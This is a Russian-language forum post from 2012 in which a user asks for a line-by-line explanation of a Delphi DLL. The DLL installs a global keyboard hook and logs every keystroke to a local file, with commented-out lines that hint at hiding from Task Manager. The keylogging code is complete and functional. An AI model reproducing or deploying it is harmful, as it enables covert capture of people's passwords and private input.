
02.05.2012, 11:50
|
Прохожий
|
|
Регистрация: 15.04.2012
Сообщения: 10
Репутация: 10
|
|
помогите разобраться с кодом
вот код:
Код:
library hook;
Uses Windows, Messages, Sysutils;
var
myHook: HHook = 0;
function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var c: char;
f: text;
key: array [0..16] of Char;
begin
if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
begin
Assign(f,'D:\log.txt');
if FileExists('D:\log.txt') then
Append(f) else Rewrite(f);
GetKeyNameText(lParam,key,SizeOf(key));
Writeln(f,key);
CloseFile(f);
//Wnd:=wParam;
//getWindowText(Wnd,str2,255);
//str:=str2;
//if str<>'' then MessageBox(0,PChar(str),'',mb_TaskModal);
//end;
//if str='Диспетчер задач Windows' then result:=0 else
result:=CallNextHookEx(myHook,Code,wParam,lParam);
//result:=0;
end;
end;
procedure setHook(Hook: boolean) export; stdcall;
begin
if Hook then
begin
if myHook=0 then
myHook:=SetWindowsHookEx(WH_KEYBOARD,@MsgProc,HInstance,0);
end
else
begin
if myHook<>0 then
UnHookWindowsHookEx(myHook);
myHook:=0;
end;
end;
exports setHook name 'SetHook';
begin
end.
построчно если возможно
Последний раз редактировалось Aristarh Dark, 02.05.2012 в 12:04.
|